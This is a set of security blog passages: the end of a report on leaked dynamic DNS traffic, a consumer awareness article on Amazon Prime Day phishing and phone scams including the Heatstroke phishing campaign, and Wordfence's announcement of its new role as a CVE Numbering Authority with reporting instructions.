“The dynamic DNS traffic we wiretapped came from over 15,000 organizations, including Fortune 500 companies, 45 U.S. government agencies, and 85 international government agencies,” the researchers said. “The data included a wealth of valuable intel like internal and external IP addresses, computer names, employee names, and office locations.”

While Amazon and Google have since patched the issues, the Wiz research team has also released a tool to let companies test if their internal DDNS updates are being leaked to DNS providers or malicious actors.

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Amazon Prime Day: Big Sales, Big Scams

Malicious actors taking advantage of important events is not a new trend. For example, a large number of tax-related scams pops up every tax season in the US, with threats ranging from simple phishing emails to the use of scare tactics that lead to ransomware. More recently,  Covid-19 has led to a surge in pandemic-related malicious campaigns, mostly arriving via email.

For many people, major online shopping events such as the annual Amazon Prime day — which falls on June 21 this year — presents a unique opportunity to purchase goods at heavily discounted prices. However, shoppers are not the only ones looking to benefit — cybercriminals are also looking to prey on unsuspecting victims via social engineering and other kinds of scams. Amazon Prime has experienced tremendous growth over the past two years. According to estimates, there were 150 million Prime members at the end of the fourth quarter of 2019, a number which grew to 200 million by the first quarter of 2021 — with around 105 million users in the US alone. This makes Amazon Prime customers a particularly lucrative target for malicious actors.

As Amazon Prime day approaches, we’d like to build awareness among the shopping public by showing some of the related scams we’ve observed over the past few months.

Amazon Prime Scams

In 2020, Amazon Prime day, which is usually held in June or July, was postponed to October due to Covid-19. That same month, the Australian Communications and Media Authority (ACMA) issued an alert warning the public that they had been receiving reports of scammers — impersonating Amazon Prime staff — calling their targets, claiming that they owed money to Amazon. They also warned the victim that funds would be taken from their bank account if they did not act immediately. Often, the goal of these scammers is to retrieve Amazon account details and personal data from their victims by asking them to go online and enter the relevant information.

A variation of this scam involves swindlers calling their targets and presenting them with a recorded message, allegedly from Amazon, notifying call recipients of an issue with their order — such as a lost package or an unfulfilled order. The victims would then be invited to either press the number “1” button on their phone or provided a number that they would need to call. As with the first scam, the goals are the same: gaining personal information.

Aside from phone call scams, malicious actors also use tried-and-tested email-based phishing tactics. One method uses fake order invoices with corresponding phony order numbers and even a bogus hotline number, which, once called, will prompt the recipient to enter their personal details.

Another technique involves the scammer notifying an Amazon Prime user of problems with their account: For example, a Twitter post from user VZ NRW – Phishing shows fake Amazon Prime message warning the recipient that their Prime benefits have allegedly been suspended due to a problem with the payment. The message also contains a fake phishing link that the user would have to click to resolve the issue.  

Figure 1. An example of an email scam, coming from “Amazon Prime” complete with a fake order ID and hotline number. Note the suspicious email address used by the sender containing a misspelled “Amazon.”

hotline number. Note the suspicious email address used by the sender containing a misspelled “Amazon.”

Malicious actors will also make use of fake websites and online forms — many of which are painstakingly crafted to match the official sites as much as possible. One phishing website asks users to confirm payment details by filling out certain information. However, despite looking authentic, the page contains plenty of red flags — for example, none of the outbound links actually work, and the forms used in the page requests more data than usual, including personal information that companies typically never ask users to provide.

A precursory search in VirusTotal using the strings “Amazon” and “Prime” reveal over a hundred PDF files, many of which contain movie names (membership in Amazon Prime also makes users eligible for Prime Video). These PDF files are hosted on various cloud services, with the link to these files typically distributed via malicious emails.

Figure 2. VirusTotal results using “Amazon” and “Prime” search strings

Upon opening some of these files, a Captcha button appears, which will activate a malicious redirection chain when clicked.

Figure 3. Captcha button that appears when clicking some of the VirusTotal samples.

While it’s easy to assume that most of these scammers are single individuals or small groups looking for a quick buck, there are certain threat actor groups that use sophisticated social engineering techniques for their campaigns, which includes Amazon users as a primary target.

The Heatstroke phishing campaign

We first encountered the phishing campaign known as Heatstroke back in 2019, noting that the group behind the campaign utilized complex techniques for both researching about and luring in their victims, which were primarily Amazon and Paypal users.

For example, compared to the webpage from the previous section, Heatstroke makes use of a phishing website with multiple working screens and subpages to try and mimic a legitimate website as much as possible. In addition, Heatstroke implements various obfuscation techniques such as forwarding the phishing kit content from another location or changing the landing page to bypass content filters.

Figure 4. Heatstroke’s infection chain, which they have been using since 2019

The threat actor has implemented some improvements over the past two years — such as expanded IP ranges and improvements to user agents and the kit’s “self-defense” mechanisms (coverage of scams, anti-bot, and IP protection services), as well as the addition of an API and kill date, after which the kit won’t work anymore. 

Heatstroke remains active with a well-maintained infrastructure in 2021. The threat actor largely uses the same techniques from the past. However, it might be a case of not fixing what isn’t broken, given how effective the previous campaigns proved to be.

Defending against scams

As exciting as Amazon Prime Day (and other similar shopping extravaganzas like Black Friday and Cyber Monday) is, the public should remain vigilant against potential scams, as cybercriminals are looking to capitalize on these types of events.

The following best practices and recommendations can help individuals avoid these kinds of scams:

  • Most reputable organizations will never ask for sensitive financial information over the phone. If a caller allegedly coming from Amazon or another company asks for strangely specific information such as credit card or bank account numbers, this is an automatic red flag.
  • Be wary of out-of-context emails. If you receive an email referencing an item you did not purchase, then it is highly likely that the email is a phishing attempt. Refrain from downloading attachments or clicking links in suspicious emails, as these can lead to malware infections.
  • Scan emails for typographical or grammatical mistakes. Legitimate emails will always be thoroughly checked and edited before being sent, therefore even small errors are possible signs of a malicious email.
  • Always double check the URL of a website to see if it matches up with the real one. For example, Amazon websites and subpages will always have a dot before “” (for example, “” versus “”), therefore, even if a website copies the design of the legitimate one, a sketchy URL will often give it away as being malicious. In the same vein, email addresses should be scrutinized to see if they look suspicious or have any unusual elements.
  • Organizations are also encouraged to regularly check the awareness of employees on the latest cyberthreats via Trend Micro Phish Insight, a cloud-based security awareness service that is designed to empower employees to protect themselves and their organization from social engineering-based attacks.

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Wordfence is now a CVE Numbering Authority (CNA)

Today, we are excited to announce that Wordfence is authorized by the Common Vulnerabilities and Exposures (CVE®) Program as a CNA, or CVE Numbering Authority. As a CNA, Wordfence can now assign CVE IDs for new vulnerabilities in WordPress Core, WordPress Plugins and WordPress Themes.

WordPress powers over 40% of the World Wide Web in 2021. By becoming a CNA, Wordfence expands our ability to elevate and accelerate WordPress security research. This furthers our goal of helping to protect the community of WordPress site owners and developers, and the millions of website users that access WordPress every day.

What is a CNA?

The acronym CNA stands for CVE Numbering Authority. A CNA is an organization that has the authority to assign CVE IDs to vulnerabilities for a defined scope. As a CNA, Wordfence can assign CVE IDs to WordPress Plugins, Themes, and Core Vulnerabilities.

What is a CVE?

CVE is an international, community-based effort and relies on the community to discover vulnerabilities. The vulnerabilities are discovered then assigned and published to the CVE List. The mission of the Common Vulnerabilities and Exposures (CVE®) Program is to identify, define, and catalog publicly disclosed cybersecurity vulnerabilities. There is one CVE Record for each vulnerability in the catalog.

What does this mean for Wordfence customers?

As the Wordfence Threat Intelligence team continues to produce groundbreaking WordPress security research, Wordfence can more efficiently assign CVE IDs prior to publicly disclosing any vulnerabilities that our team discovers. This means that a CVE ID will be immediately assigned with every vulnerability we discover rather than waiting for an assignment from an external CNA.

To report a vulnerability, even if there is uncertainty about the responsible disclosure process, proof of concept production, or mitigation review procedures, the Wordfence Threat Intelligence team is available to assist. Our highly credentialed team has expertise and experience in proper security disclosure and can assist in ensuring that adequate remediation of vulnerabilities, no matter the severity, are applied and verified. As the original researcher, you receive the CVE ID and public credit for your discovery. You will also receive thanks from the users and community that you have protected through your responsible disclosure. Please reach out to us and we will be happy to assist.

How to report vulnerabilities to Wordfence for CVE assignment and publication?

To report a vulnerability to Wordfence for a WordPress plugin, WordPress theme, or WordPress core, please reach out to with the vulnerability information. Please include the following details:

  • A concise description of the vulnerability.
  • A proof of concept – that is, how the vulnerability could potentially be exploited.
  • What software component in our scope is affected – namely, which plugin or theme is affected, or which part of WordPress core.
  • The version number(s) affected.
  • The name(s) of individuals you would like credited for the discovery – or indicate if you would like to remain anonymous.
  • Any other additional information as appropriate.

The Wordfence Threat Intelligence team will review your findings and report back within 1-3 business days with a CVE ID assignment, or a request for additional information.

Community engagement and outreach at Wordfence has helped accelerate our efforts to secure the global WordPress community. Becoming a CNA has helped further this goal. Our team looks forward to expediting our own research and helping to encourage and enable new researchers to join the growing community of people who discover and responsibly disclose WordPress vulnerabilities. Together we can work towards a safer Web for all.

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